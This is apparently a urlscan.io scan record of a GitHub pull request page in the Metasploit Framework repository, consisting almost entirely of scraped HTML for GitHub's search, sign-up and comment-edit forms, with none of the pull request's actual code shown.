github.com
Open in
urlscan Pro
140.82.121.3
Public Scan
Submitted URL: https://info.rapid7.com/NDExLU5BSy05NzAAAAF_9OPz8z14hPMvJ5h419zjVwBCNgao4kDTneFjvDxuLauml-WtzNg2PuD06YB-b4_9QdB-OdBoP6uk...
Effective URL: https://github.com/rapid7/metasploit-framework/pull/15506?mkt_tok=NDExLU5BSy05NzAAAAF_9OPz8-ZYPRyaa7VLjmj245liYECuJ...
Submission: On October 06 via api from US — Scanned from DE
Effective URL: https://github.com/rapid7/metasploit-framework/pull/15506?mkt_tok=NDExLU5BSy05NzAAAAF_9OPz8-ZYPRyaa7VLjmj245liYECuJ...
Submission: On October 06 via api from US — Scanned from DE
Form analysis
51 forms found in the DOMGET /rapid7/metasploit-framework/search
<form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="2293158" data-scoped-search-url="/rapid7/metasploit-framework/search" data-owner-scoped-search-url="/orgs/rapid7/search"
data-unscoped-search-url="/search" action="/rapid7/metasploit-framework/search" accept-charset="UTF-8" method="get">
<label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center">
<input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey="s,/" name="q" data-test-selector="nav-search-input" placeholder="Search"
data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search"
data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off">
<input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="83Gm5ocHjuqMljTTrLh3h/Yoy8IEzouR9vFqc1ywvB0KJils8ejeCf5HDvwPMonbN9GuuExl+UH3wCIXCaovUQ==">
<input type="hidden" class="js-site-search-type-field" name="type">
<svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash">
<path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path>
<path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path>
</svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<ul class="d-none js-jump-to-suggestions-template-container">
<li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option">
<a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="suggestion">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none">
<svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0">
<path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path>
</svg>
<svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0">
<path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path>
</svg>
<svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0">
<path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path>
</svg>
</div>
<img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28">
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target">
</div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search">
<span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository">
In this repository
</span>
<span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub">
All GitHub
</span>
<span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump">
Jump to
<span class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
</a>
</li>
</ul>
<ul class="d-none js-jump-to-no-results-template-container">
<li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2">
<span class="color-text-secondary">No suggested jump to results</span>
</li>
</ul>
<ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container">
<li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option">
<a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="scoped_search">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none">
<svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0">
<path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path>
</svg>
<svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0">
<path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path>
</svg>
<svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0">
<path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path>
</svg>
</div>
<img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28">
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target">
</div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search">
<span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository">
In this repository
</span>
<span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub">
All GitHub
</span>
<span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump">
Jump to
<span class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
</a>
</li>
<li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-owner-scoped-search d-none" role="option">
<a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="owner_scoped_search">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none">
<svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0">
<path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path>
</svg>
<svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0">
<path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path>
</svg>
<svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0">
<path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path>
</svg>
</div>
<img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28">
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target">
</div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search">
<span class="js-jump-to-badge-search-text-default d-none" aria-label="in this organization">
In this organization
</span>
<span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub">
All GitHub
</span>
<span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump">
Jump to
<span class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
</a>
</li>
<li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option">
<a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="global_search">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none">
<svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0">
<path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path>
</svg>
<svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0">
<path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path>
</svg>
<svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0">
<path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path>
</svg>
</div>
<img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28">
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target">
</div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search">
<span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository">
In this repository
</span>
<span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub">
All GitHub
</span>
<span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump">
Jump to
<span class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
</a>
</li>
</ul>
</div>
</label>
</form>
POST /join?return_to=%2Frapid7%2Fmetasploit-framework%2Fissues%2Fnew
<form class="js-signup-form" autocomplete="off" action="/join?return_to=%2Frapid7%2Fmetasploit-framework%2Fissues%2Fnew" accept-charset="UTF-8" method="post"><input type="hidden" data-csrf="true" name="authenticity_token"
value="hX65n8+HiGLSeQS4LSqdCzjjfTsI/s1QcsxSeEgdBueedZjiGBzV9shABHuseNynz74ZsqBbA+2EBTUBCJ6UUQ=="> <auto-check src="/signup_check/username">
<dl class="form-group">
<dt class="input-label"><label name="user[login]" autocapitalize="off" autofocus="autofocus" for="user_login_issues">Pick a username</label></dt>
<dd><input name="user[login]" autocapitalize="off" autofocus="autofocus" class="form-control" type="text" id="user_login_issues" autocomplete="off" spellcheck="false"></dd>
</dl>
<input type="hidden" data-csrf="true" value="uesYFrrH3UzMdiYBTaaRpJX/TQcowv0mrSkEUXtht+g0NXUEo40lLZ6yun09u/SqDIY4oH0h2WAekYZaYbZTvw==">
</auto-check>
<auto-check src="/signup_check/email">
<dl class="form-group">
<dt class="input-label"><label name="user[email]" autocapitalize="off" for="user_email_issues">Email Address</label></dt>
<dd><input name="user[email]" autocapitalize="off" class="form-control" type="text" id="user_email_issues" autocomplete="off" spellcheck="false"></dd>
</dl>
<input type="hidden" data-csrf="true" value="jHKy9c4pwilAP8Nirq2jkKNa7bas8v9ABuQplmVpSC36zXjs3jMpDiue8SZZTJQZjHBxE3JJYcVCMtuiARaUQQ==">
</auto-check>
<auto-check src="/users/password">
<dl class="form-group">
<dt class="input-label"><label name="user[password]" for="user_password_issues">Password</label></dt>
<dd><input name="user[password]" class="form-control" type="password" id="user_password_issues" autocomplete="off" spellcheck="false"></dd>
</dl><input type="hidden" data-csrf="true" value="w8tl3PqMSd1YjjxKC2MGZoXZhzv5AskVF9tstjptxCAt/B9milvtFULHSZmh7gkyvFlsODjzc1LvFkoza4sRZA==">
</auto-check>
<input type="hidden" name="source" class="js-signup-source" value="modal-issues">
<input class="form-control" type="text" name="required_field_5c86" hidden="hidden">
<input class="form-control" type="hidden" name="timestamp" value="1633534297951">
<input class="form-control" type="hidden" name="timestamp_secret" value="aeabe208a7af00479fa9ad48f6a87ef97d2747bdb461e3db2e8fe7ed9be20026">
<button data-ga-click="(Logged out) New issue modal, clicked Sign up, text:sign-up" type="submit" data-view-component="true" class="btn-primary btn btn-block mt-2"> Sign up for GitHub </button>
</form>
POST /rapid7/metasploit-framework/issues/15506
<form class="js-comment-update" id="issue-957569216-edit-form" action="/rapid7/metasploit-framework/issues/15506" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
data-csrf="true" name="authenticity_token" value="LYNDggNiHm3FBrjnJTWHLDVbHz04cPh/OP76mKJukKhz3QmZyki5nNyo5tzXz1CvV+sCLL3bb4C/p8fyHTP7hg=="></form>
POST /rapid7/metasploit-framework/issue_comments/891245017
<form class="js-comment-update" id="issuecomment-891245017-edit-form" action="/rapid7/metasploit-framework/issue_comments/891245017" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
type="hidden" data-csrf="true" name="authenticity_token" value="5PvZQ4gQPhF2G3Gxt6h3EviW0NF4DDCS6gjudYYWb8f9Y2CsevcryBkON2hG1vwvn2pMUPYwJ4/sRXl78L66Jg==">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/891245017/edit_form?textarea_id=issuecomment-891245017-body&comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/issue_comments/891310083
<form class="js-comment-update" id="issuecomment-891310083-edit-form" action="/rapid7/metasploit-framework/issue_comments/891310083" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
type="hidden" data-csrf="true" name="authenticity_token" value="D4emb68M6T3uHAVpnHZk5k29AH/3pQsVWsWM1VThvQxcucpS5j0bzOtskK+EGM8UMCUzyIUYnlUYE58tROaQKg==">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/891310083/edit_form?textarea_id=issuecomment-891310083-body&comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/issue_comments/892143267
<form class="js-comment-update" id="issuecomment-892143267-edit-form" action="/rapid7/metasploit-framework/issue_comments/892143267" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
type="hidden" data-csrf="true" name="authenticity_token" value="mK2b2hL6nhKDi0pRAGXkYyFN9ybNwK5WvlErI31b4TakQZz06TKY+Pq+Uu1MoHwQ9hNPzX/qLzRvt3GJKyITxA==">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/892143267/edit_form?textarea_id=issuecomment-892143267-body&comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/issue_comments/892461545
<form class="js-comment-update" id="issuecomment-892461545-edit-form" action="/rapid7/metasploit-framework/issue_comments/892461545" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
type="hidden" data-csrf="true" name="authenticity_token" value="lPQhCiOS1Vn37h90oU9mEzFKjN9CZzuZmt+a1WNOR0yzWO0YAsA8JEuyYsowOhSz8IQXIR8KHuu5D/YryGOuww==">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/892461545/edit_form?textarea_id=issuecomment-892461545-body&comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/pull/15506/review_comment/683490045
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/683490045" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="g6NLoc4xBCVBNSMll02OMrCVvhT6HRxB0kPPCPmZ+bixOaKdDsK9zV4+Hyt+PtvNfVsZCU3fNM03q9tkzZZoWQ==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/683490045/edit_form?textarea_id=discussion_r683490045-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="3uPOxsOxhon2z1o/tmzNRNt/jvceU7zuxOP5JHOof7raaqzuJIvYEU11vB68SuOuIi10gzDSLKu5G4a/ahxD4w==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDY4MzQ5MDA0NQ==">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/pull/15506/review_comment/683547276
